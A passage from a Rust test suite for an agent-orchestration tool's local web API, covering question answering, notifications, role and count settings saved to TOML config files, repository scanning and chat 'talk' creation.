12308 assert!(q.answer.is_none());
12309 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12310 assert_eq!(res.json()["can_consult_chat"], true);
12311 let list = fx.get("/api/questions").await.json();
12312 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12313 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12314
12315 let res = fx
12316 .post(
12317 &format!("/api/questions/{id}/answer"),
12318 Some(r#"{"choice":"hold"}"#),
12319 )
12320 .await;
12321 assert_eq!(res.status, 200, "{}", res.body);
12322 assert_eq!(res.json()["answer"]["choice"], "hold");
12323 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12324 assert_eq!(res.json()["can_consult_chat"], false);
12325 assert_eq!(fx.post(&path, None).await.status, 409);
12326
12327 let mut talk = fx.talks().get(&talk.id).unwrap();
12328 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12329 let list = fx.get("/api/questions").await.json();
12330 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12331 assert_eq!(list[0]["origin_chat_closed"], true);
12332 assert_eq!(list[0]["can_consult_chat"], false);
12333
12334 fx.talks().remove(&talk.id).unwrap();
12335 let list = fx.get("/api/questions").await.json();
12336 assert_eq!(list[0]["origin_chat"], Value::Null);
12337 assert_eq!(list[0]["origin_chat_closed"], false);
12338 assert_eq!(list[0]["can_consult_chat"], false);
12339 }
12340
12341 #[tokio::test]
12342 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12343 let fx = Fixture::start().await;
12344 let store = fx.questions();
12345 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12346 store.beat(&id, ask::WaiterKind::Asker);
12347 assert_eq!(
12348 fx.get("/api/health").await.json()["questions_needs_owner"],
12349 1
12350 );
12351
12352 let res = fx
12358 .post(
12359 &format!("/api/questions/{id}/say"),
12360 Some(r#"{"body":"why not Postgres?"}"#),
12361 )
12362 .await;
12363 assert_eq!(res.status, 200, "{}", res.body);
12364 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12365 assert_eq!(
12366 fx.get("/api/health").await.json()["questions_needs_owner"],
12367 0,
12368 "waiting on the agent is not waiting on the owner"
12369 );
12370
12371 let mut q = store.get(&id).expect("get");
12375 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12376 .expect("reply");
12377 store.put(&mut q).expect("put");
12378 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12379 assert_eq!(
12380 fx.get("/api/health").await.json()["questions_needs_owner"],
12381 1,
12382 "the agent's reply is what should light the banner back up"
12383 );
12384 }
12385
12386 #[tokio::test]
12387 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12388 let fx = Fixture::start().await;
12389 let store = fx.questions();
12390
12391 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12392 let res = fx
12393 .post(
12394 &format!("/api/questions/{empty_id}/say"),
12395 Some(r#"{"body":" "}"#),
12396 )
12397 .await;
12398 assert_eq!(res.status, 400, "{}", res.body);
12399
12400 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12401 let mut answered = store.get(&answered_id).expect("get");
12402 answered
12403 .answer(Answer::Choice("SQLite".to_owned()))
12404 .expect("answer");
12405 store.put(&mut answered).expect("put");
12406 let res = fx
12407 .post(
12408 &format!("/api/questions/{answered_id}/say"),
12409 Some(r#"{"body":"still there?"}"#),
12410 )
12411 .await;
12412 assert_eq!(res.status, 409, "{}", res.body);
12413
12414 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12415 let mut abandoned = store.get(&abandoned_id).expect("get");
12416 abandoned.abandon("timed out");
12417 store.put(&mut abandoned).expect("put");
12418 let res = fx
12419 .post(
12420 &format!("/api/questions/{abandoned_id}/say"),
12421 Some(r#"{"body":"still there?"}"#),
12422 )
12423 .await;
12424 assert_eq!(res.status, 409, "{}", res.body);
12425 }
12426
12427 #[tokio::test]
12428 async fn an_answer_the_question_does_not_offer_is_refused() {
12429 let fx = Fixture::start().await;
12430 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12431 let path = format!("/api/questions/{id}/answer");
12432
12433 for body in [
12434 r#"{"choice":"Postgres"}"#,
12435 r#"{"text":"whatever you think"}"#,
12436 r#"{"choice":"Redis","text":"both"}"#,
12437 r#"{}"#,
12438 ] {
12439 let res = fx.post(&path, Some(body)).await;
12440 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12441 assert!(res.json()["error"].is_string(), "{}", res.body);
12442 }
12443 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12445 }
12446
12447 #[tokio::test]
12448 async fn a_free_text_question_takes_text_and_not_a_choice() {
12449 let fx = Fixture::start().await;
12450 let id = ask(&fx, "What should the flag be called?", &[]);
12451 fx.questions().beat(&id, ask::WaiterKind::Asker);
12452 let path = format!("/api/questions/{id}/answer");
12453
12454 assert_eq!(
12455 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12456 400
12457 );
12458 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12459 assert_eq!(res.status, 200, "{}", res.body);
12460 assert_eq!(res.json()["answer"]["text"], "--json");
12461 }
12462
12463 #[tokio::test]
12464 async fn an_unknown_question_is_a_json_404() {
12465 let fx = Fixture::start().await;
12466 let res = fx
12467 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12468 .await;
12469 assert_eq!(res.status, 404, "{}", res.body);
12470 assert!(res.json()["error"].is_string());
12471 }
12472
12473 #[tokio::test]
12474 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12475 let fx = Fixture::start().await;
12476 let questions = Questions::at(fx.home.path().join("questions"));
12477 let store = Notices::at(fx.home.path().join("notifications"));
12478 let mut q = ask::Question::new(
12479 "t1".into(),
12480 "conduct".into(),
12481 "conductor".into(),
12482 "Continue?".into(),
12483 String::new(),
12484 Vec::new(),
12485 );
12486 questions.put(&mut q).unwrap();
12487 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12488 n.covered_by = Some(q.id.clone());
12489 let n = store.raise(n).unwrap();
12490 let listed = fx.get("/api/notifications").await.json();
12491 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12492 questions
12493 .update(&q.id, |q| {
12494 q.abandon("run gone");
12495 Ok(())
12496 })
12497 .unwrap();
12498 let listed = fx.get("/api/notifications").await.json();
12499 assert!(listed["items"][0]["answerable_question"].is_null());
12500 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12501 assert!(
12502 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12503 .unwrap()
12504 .contains("answerable_question")
12505 );
12506 }
12507
12508 #[tokio::test]
12509 async fn notifications_list_read_dismiss_and_health_agree() {
12510 let fx = Fixture::start().await;
12511 let store = Notices::at(fx.home.path().join("notifications"));
12512 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12513 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12514
12515 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12516 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12517
12518 store
12519 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12520 .unwrap();
12521 let health = fx.get("/api/health").await.json();
12522 assert_eq!(health["notifications_unread"], 2);
12523 assert_ne!(
12524 health["notifications_rev"], rev0,
12525 "the badge must move live"
12526 );
12527
12528 let listed = fx.get("/api/notifications").await.json();
12529 assert_eq!(listed["unread"], 2);
12530 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12531 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12532
12533 let read = fx
12534 .post(&format!("/api/notifications/{}/read", a.id), None)
12535 .await;
12536 assert_eq!(read.status, 200, "{}", read.body);
12537 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12538
12539 let gone = fx
12540 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12541 .await;
12542 assert_eq!(gone.status, 200, "{}", gone.body);
12543 let listed = fx.get("/api/notifications").await.json();
12544 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12545 assert_eq!(listed["unread"], 0);
12546
12547 store.raise(Notice::info("x", "again")).unwrap();
12548 let all = fx.post("/api/notifications/read-all", None).await;
12549 assert_eq!(all.status, 200, "{}", all.body);
12550 assert_eq!(all.json()["marked"], 1);
12551 assert_eq!(
12552 fx.get("/api/health").await.json()["notifications_unread"],
12553 0
12554 );
12555
12556 let missing = fx.post("/api/notifications/nope/read", None).await;
12557 assert_eq!(missing.status, 404, "{}", missing.body);
12558 assert!(missing.json()["error"].is_string());
12559 }
12560
12561 #[tokio::test]
12568 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12569 let f = Fixture::start().await;
12570
12571 let res = f
12572 .post(
12573 "/api/queue",
12574 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12575 )
12576 .await;
12577
12578 assert_eq!(
12579 res.status, 405,
12580 "POST /api/queue must not be a route: {}",
12581 res.body
12582 );
12583 assert!(
12584 f.queue().list().is_empty(),
12585 "a task filed by a route that does not exist must not reach the disk"
12586 );
12587 assert_eq!(f.get("/api/queue").await.status, 200);
12590 }
12591
12592 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12594 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12595 .expect("checkout dir");
12596 }
12597
12598 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12600
12601 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12602 let tmp = TempDir::new().expect("tempdir");
12603 let repo = tmp.path().join("repo");
12604 std::fs::create_dir_all(&repo).expect("repo dir");
12605 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12606 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12607 if let Some(text) = machine_toml {
12608 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12609 std::fs::write(&machine, text).expect("machine toml");
12610 }
12611 (tmp, repo, machine)
12612 }
12613
12614 async fn settings_checkout(path: &FsPath, text: &str) {
12615 std::fs::create_dir_all(path).unwrap();
12616 std::fs::write(path.join("magi.toml"), text).unwrap();
12617 for args in [
12618 vec!["init", "-b", "main"],
12619 vec!["add", "magi.toml"],
12620 vec![
12621 "-c",
12622 "user.name=Test",
12623 "-c",
12624 "user.email=test@example.invalid",
12625 "commit",
12626 "-m",
12627 "fixture",
12628 ],
12629 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12630 vec![
12631 "symbolic-ref",
12632 "refs/remotes/origin/HEAD",
12633 "refs/remotes/origin/main",
12634 ],
12635 ] {
12636 crate::git::git(path, &args).await.unwrap();
12637 }
12638 }
12639
12640 #[tokio::test]
12641 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12642 let (tmp, repo, machine) =
12643 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12644 let root = tmp.path().join("roots");
12645 let selected = root.join("host/owner/selected");
12646 settings_checkout(
12647 &selected,
12648 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12649 )
12650 .await;
12651 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12652 let before = std::fs::read(&machine).unwrap();
12653 let ui = Arc::new(
12654 Ui::new(
12655 Queue::at(tmp.path().join("queue")),
12656 Questions::at(tmp.path().join("questions")),
12657 Talks::at(tmp.path().join("talks")),
12658 tmp.path().join("runs"),
12659 tmp.path().to_path_buf(),
12660 repo.clone(),
12661 )
12662 .with_machine_config(Some(machine.clone())),
12663 );
12664 let query = || {
12665 Query(SettingsQuery {
12666 repo: Some(selected.clone()),
12667 })
12668 };
12669 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12670 assert!(v.error.is_none(), "{:?}", v.error);
12671 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12672 assert_eq!(conductor.source, "repo");
12673 assert_eq!(
12674 conductor.machine_value,
12675 Some(toml::Value::String("a".into()))
12676 );
12677 assert!(!conductor.editable);
12678 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12679 assert_eq!(
12680 judges.count.as_ref().unwrap().machine_value,
12681 Some(toml::Value::Integer(1))
12682 );
12683 assert!(
12684 !v.roles
12685 .iter()
12686 .find(|r| r.key == "reviewers")
12687 .unwrap()
12688 .editable
12689 );
12690 let unknown = || {
12691 Query(SettingsQuery {
12692 repo: Some(tmp.path().to_path_buf()),
12693 })
12694 };
12695 assert_eq!(
12696 settings_get(State(ui.clone()), unknown())
12697 .await
12698 .unwrap_err()
12699 .status,
12700 StatusCode::UNPROCESSABLE_ENTITY
12701 );
12702 let body = || {
12703 Ok(Json(RolesBody {
12704 revision: v.revision.clone(),
12705 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12706 counts: Default::default(),
12707 }))
12708 };
12709 assert_eq!(
12710 settings_put_roles(State(ui.clone()), unknown(), body())
12711 .await
12712 .unwrap_err()
12713 .status,
12714 StatusCode::UNPROCESSABLE_ENTITY
12715 );
12716 assert_eq!(std::fs::read(&machine).unwrap(), before);
12717 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12718 .await
12719 .unwrap();
12720 assert_eq!(
12721 saved.repo,
12722 selected.canonicalize().unwrap().display().to_string()
12723 );
12724 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12725 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12726 let fresh = root.join("host/owner/fresh");
12728 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12729 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12730 .await
12731 .unwrap();
12732 assert_eq!(fresh_view.repositories.len(), 3);
12733 }
12734
12735 #[tokio::test]
12736 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12737 let (tmp, repo, machine) = settings_dirs(
12738 "[roles]\nreviewers = [\"a\"]\n",
12739 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12740 );
12741 let root = tmp.path().join("roots");
12742 let selected = root.join("host/owner/selected");
12743 settings_checkout(
12744 &selected,
12745 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12746 )
12747 .await;
12748 let broken = root.join("host/owner/broken");
12749 settings_checkout(&broken, "[roles\nbroken").await;
12750 let machine_text = format!(
12751 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12752 toml::Value::String(root.display().to_string())
12753 );
12754 std::fs::write(&machine, &machine_text).unwrap();
12755 let originals: Vec<_> = [&repo, &selected, &broken]
12756 .iter()
12757 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12758 .collect();
12759 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12760 let default = f.get("/api/settings").await.json();
12761 assert_eq!(
12762 default["repo"],
12763 repo.canonicalize().unwrap().display().to_string()
12764 );
12765 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12766 let query = format!("?repo={}", selected.display());
12767 let res = f.get(&format!("/api/settings{query}")).await;
12768 assert_eq!(res.status, 200, "{}", res.body);
12769 let v = res.json();
12770 assert!(v["error"].is_null(), "{v}");
12771 assert_eq!(v["repositories"], default["repositories"]);
12772 let role = |key: &str| {
12773 v["roles"]
12774 .as_array()
12775 .unwrap()
12776 .iter()
12777 .find(|r| r["key"] == key)
12778 .unwrap()
12779 };
12780 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12781 assert_eq!(role("advisors")["source"], "repo");
12782 assert_eq!(role("advisors")["editable"], false);
12783 assert!(role("advisors")["machine_value"].is_null());
12784 assert_eq!(role("judges")["count"]["value"], 2);
12785 assert_eq!(role("judges")["count"]["machine_value"], 1);
12786 assert_eq!(role("judges")["count"]["source"], "repo");
12787 let source = role("judges")["count"]["source_path"].as_str().unwrap();
12788 assert!(
12789 source.contains("origin/main") && !source.contains("magi/config/"),
12790 "{source}"
12791 );
12792 assert_eq!(
12793 role("reviewers")["editable"],
12794 false,
12795 "default context outside roots must protect its declarations"
12796 );
12797 let body =
12798 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12799 let unknown = format!("?repo={}", tmp.path().display());
12800 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12801 assert_eq!(
12802 f.put(&format!("/api/settings/roles{unknown}"), &body)
12803 .await
12804 .status,
12805 422
12806 );
12807 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12808 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12809 .to_string();
12810 assert_eq!(
12811 f.put(&format!("/api/settings/roles{query}"), &refuse)
12812 .await
12813 .status,
12814 422
12815 );
12816 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12817 assert_eq!(saved.status, 200, "{}", saved.body);
12818 assert_eq!(saved.json()["repo"], v["repo"]);
12819 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12820 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12821 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12822 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12823 }
12824 let error = f
12825 .get(&format!("/api/settings?repo={}", broken.display()))
12826 .await;
12827 assert_eq!(error.status, 200);
12828 assert!(error.json()["error"]["message"].is_string());
12829 assert_eq!(error.json()["repositories"], default["repositories"]);
12830 }
12831
12832 #[tokio::test]
12833 async fn settings_get_reports_sources_and_the_advisors_fallback() {
12834 let (_tmp, repo, machine) =
12835 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12836 let f = Fixture::with_repo_and_machine(repo, machine).await;
12837 let res = f.get("/api/settings").await;
12838 assert_eq!(res.status, 200, "{}", res.body);
12839 let v = res.json();
12840 assert!(v["error"].is_null(), "{v}");
12841 let role = |k: &str| {
12842 v["roles"]
12843 .as_array()
12844 .and_then(|r| r.iter().find(|x| x["key"] == k))
12845 .cloned()
12846 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12847 };
12848 assert_eq!(role("judges")["source"], "machine");
12849 assert_eq!(role("judges")["editable"], true);
12850 assert_eq!(role("implementers")["source"], "default");
12851 let adv = role("advisors");
12852 assert_eq!(adv["fallback"], "judges");
12853 assert!(
12854 adv["seats"]
12855 .as_array()
12856 .is_some_and(|s| s.iter().all(|x| x == "b")),
12857 "{adv}"
12858 );
12859 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12860 assert_eq!(v["agents"][0]["source"], "repo");
12861 }
12862
12863 #[tokio::test]
12864 async fn settings_get_reports_a_config_that_does_not_parse() {
12865 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12866 let f = Fixture::with_repo_and_machine(repo, machine).await;
12867 let res = f.get("/api/settings").await;
12868 assert_eq!(res.status, 200, "{}", res.body);
12869 let v = res.json();
12870 assert!(v["error"]["message"].is_string(), "{v}");
12871 assert!(
12872 v["error"]["path"]
12873 .as_str()
12874 .is_some_and(|p| p.ends_with("magi.toml")),
12875 "{v}"
12876 );
12877 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12878 }
12879
12880 #[tokio::test]
12881 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12882 let (_tmp, repo, machine) = settings_dirs(
12883 SETTINGS_AGENTS,
12884 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12885 );
12886 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12887 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12888 let rev = f.get("/api/settings").await.json()["revision"]
12889 .as_str()
12890 .expect("revision")
12891 .to_owned();
12892 let body = serde_json::json!({
12893 "revision": rev,
12894 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12895 })
12896 .to_string();
12897 let res = f.put("/api/settings/roles", &body).await;
12898 assert_eq!(res.status, 200, "{}", res.body);
12899 let text = std::fs::read_to_string(&machine).expect("machine");
12900 assert_eq!(
12901 text,
12902 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12903 );
12904 assert_eq!(
12905 std::fs::read(repo.join("magi.toml")).expect("read"),
12906 repo_before
12907 );
12908 let again = f.get("/api/settings").await.json();
12909 let judges = again["roles"]
12910 .as_array()
12911 .expect("roles")
12912 .iter()
12913 .find(|r| r["key"] == "judges")
12914 .expect("judges")
12915 .clone();
12916 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12917 let stale = f.put("/api/settings/roles", &body).await;
12919 assert_eq!(stale.status, 409, "{}", stale.body);
12920 }
12921
12922 #[tokio::test]
12923 async fn settings_counts_are_reported_and_saved() {
12924 let (_tmp, repo, machine) = settings_dirs(
12925 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12926 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12927 );
12928 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12929 let v = f.get("/api/settings").await.json();
12930 let count = |v: &serde_json::Value, k: &str| {
12931 v["roles"]
12932 .as_array()
12933 .and_then(|r| r.iter().find(|x| x["key"] == k))
12934 .map(|x| x["count"].clone())
12935 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12936 };
12937 let imp = count(&v, "implementers");
12938 assert_eq!(imp["value"], 2);
12939 assert_eq!(imp["source"], "machine");
12940 assert_eq!(imp["file_key"], "candidates");
12941 assert_eq!(imp["roster_len"], 2);
12942 assert_eq!(imp["backups"], 0);
12943 assert_eq!(count(&v, "judges")["source"], "default");
12944 assert_eq!(count(&v, "advisors")["min"], 0);
12945 assert_eq!(count(&v, "reviewers")["editable"], false);
12946 assert!(
12947 count(&v, "reviewers")["locked_reason"]
12948 .as_str()
12949 .is_some_and(|m| m.contains("graph.reviewers"))
12950 );
12951 assert!(count(&v, "fixer").is_null());
12952 let rev = v["revision"].as_str().expect("revision").to_owned();
12953 let body = serde_json::json!({
12954 "revision": rev,
12955 "roles": { "judges": ["b"] },
12956 "counts": { "implementers": 1, "advisors": 0 }
12957 })
12958 .to_string();
12959 let res = f.put("/api/settings/roles", &body).await;
12960 assert_eq!(res.status, 200, "{}", res.body);
12961 let text = std::fs::read_to_string(&machine).expect("machine");
12962 assert_eq!(
12963 text,
12964 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12965 );
12966 let after = f.get("/api/settings").await.json();
12967 assert_eq!(count(&after, "implementers")["value"], 1);
12968 assert_eq!(count(&after, "implementers")["backups"], 1);
12969 assert_eq!(count(&after, "advisors")["value"], 0);
12970 let before = std::fs::read_to_string(&machine).expect("machine");
12971 let rev = after["revision"].as_str().expect("revision").to_owned();
12972 for counts in [
12973 serde_json::json!({ "judges": 0 }),
12974 serde_json::json!({ "judges": "x" }),
12975 serde_json::json!({ "judges": 2.5 }),
12976 serde_json::json!({ "judges": -1 }),
12977 serde_json::json!({ "reviewers": 3 }),
12978 serde_json::json!({ "bogus": 3 }),
12979 ] {
12980 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12981 let res = f.put("/api/settings/roles", &body).await;
12982 assert_eq!(res.status, 422, "{counts}: {}", res.body);
12983 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12984 }
12985 }
12986
12987 #[tokio::test]
12988 async fn settings_put_refuses_without_touching_the_file() {
12989 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12990 let (_tmp, repo, machine) = settings_dirs(
12991 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12992 Some(machine_text),
12993 );
12994 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12995 let rev = f.get("/api/settings").await.json()["revision"]
12996 .as_str()
12997 .expect("revision")
12998 .to_owned();
12999 for roles in [
13000 serde_json::json!({ "judges": ["nope"] }),
13001 serde_json::json!({ "reviewers": ["b"] }),
13002 serde_json::json!({ "bogus": ["a"] }),
13003 ] {
13004 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13005 let res = f.put("/api/settings/roles", &body).await;
13006 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13007 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13008 assert_eq!(
13009 std::fs::read_to_string(&machine).expect("machine"),
13010 machine_text
13011 );
13012 }
13013 }
13014
13015 #[tokio::test]
13016 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13017 let tmp = TempDir::new().expect("tempdir");
13018 let repo = tmp.path().join("repo");
13019 std::fs::create_dir_all(&repo).expect("repo dir");
13020 let root = tmp.path().join("root");
13021 make_checkout(&root, "github.com", "yukimemi", "magi");
13022 std::fs::write(
13023 repo.join("magi.toml"),
13024 format!(
13025 "[repos]\nroots = [{:?}]\n",
13026 root.to_string_lossy().into_owned()
13027 ),
13028 )
13029 .expect("write magi.toml");
13030
13031 let f = Fixture::with_repo(repo).await;
13032 let res = f.get("/api/repos").await;
13033 assert_eq!(res.status, 200, "{}", res.body);
13034 let list = res.json();
13035 let repos = list.as_array().expect("an array");
13036 assert_eq!(repos.len(), 1);
13037 assert_eq!(repos[0]["name"], "yukimemi/magi");
13038 assert!(
13039 repos[0]["path"]
13040 .as_str()
13041 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13042 "{list}"
13043 );
13044 }
13045
13046 #[tokio::test]
13047 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13048 let tmp = TempDir::new().expect("tempdir");
13049 let repo = tmp.path().join("repo");
13050 std::fs::create_dir_all(&repo).expect("repo dir");
13051 let root = tmp.path().join("root");
13052 make_checkout(&root, "github.com", "yukimemi", "magi");
13053 std::fs::write(
13054 repo.join("magi.toml"),
13055 format!(
13056 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13057 root.to_string_lossy().into_owned()
13058 ),
13059 )
13060 .expect("write magi.toml");
13061
13062 let f = Fixture::with_repo(repo).await;
13063 let first = f.get("/api/repos").await;
13064 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13065
13066 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13069 let second = f.get("/api/repos").await;
13070 assert_eq!(
13071 second.json().as_array().map(Vec::len),
13072 Some(1),
13073 "a fresh cache must not rescan inside the TTL"
13074 );
13075
13076 let refreshed = f.get("/api/repos?refresh=1").await;
13077 assert_eq!(
13078 refreshed.json().as_array().map(Vec::len),
13079 Some(2),
13080 "an explicit refresh must rescan even inside the TTL"
13081 );
13082 }
13083
13084 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13090
13091 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13095 let tmp = TempDir::new().expect("tempdir");
13096 let repo = tmp.path().join("repo");
13097 std::fs::create_dir_all(&repo).expect("repo dir");
13098 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13099 let f = Fixture::with_repo(repo.clone()).await;
13100 (tmp, repo, f)
13101 }
13102
13103 #[tokio::test]
13104 async fn posting_a_talk_with_remembered_choices_is_soft() {
13105 let (_tmp, _repo, f) = talk_fixture().await;
13106
13107 let good = f
13108 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13109 .await;
13110 assert_eq!(good.status, 201, "{}", good.body);
13111 assert_eq!(good.json()["persona"], "rei");
13112
13113 let stale = f
13115 .post(
13116 "/api/talks",
13117 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13118 )
13119 .await;
13120 assert_eq!(stale.status, 201, "{}", stale.body);
13121 let v = stale.json();
13122 assert_eq!(v["implementers"], 1);
13123 assert_ne!(v["persona"], "nobody");
13124 let typed = f
13125 .post(
13126 "/api/talks",
13127 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13128 )
13129 .await;
13130 assert_eq!(typed.status, 201, "{}", typed.body);
13131
13132 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13134 assert!(
13135 !strict.status.to_string().starts_with('2'),
13136 "{}",
13137 strict.body
13138 );
13139 }
13140
13141 #[tokio::test]
13142 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13143 let (_tmp, _repo, f) = talk_fixture().await;
13144
13145 let opened = f.post("/api/talks", None).await;
13148 assert_eq!(opened.status, 201, "{}", opened.body);
13149 let body = opened.json();
13150 assert_eq!(body["status"], "open");
13151 assert_eq!(
13152 body["turns"].as_array().unwrap().len(),
13153 0,
13154 "opening takes no agent turn: there is nothing yet to answer"
13155 );
13156
13157 let also_opened = f.post("/api/talks", Some("{}")).await;
13159 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13160
13161 let listed = f.get("/api/talks").await.json();
13162 assert_eq!(listed.as_array().unwrap().len(), 2);
13163 }
13164
13165 #[tokio::test]
13166 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13167 let tmp = TempDir::new().expect("tempdir");
13168 let repo = tmp.path().join("repo");
13169 std::fs::create_dir_all(&repo).expect("repo dir");
13170 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13171 std::fs::write(
13172 repo.join("magi.toml"),
13173 format!("{MOCK_AGENT_TOML}\n{second}"),
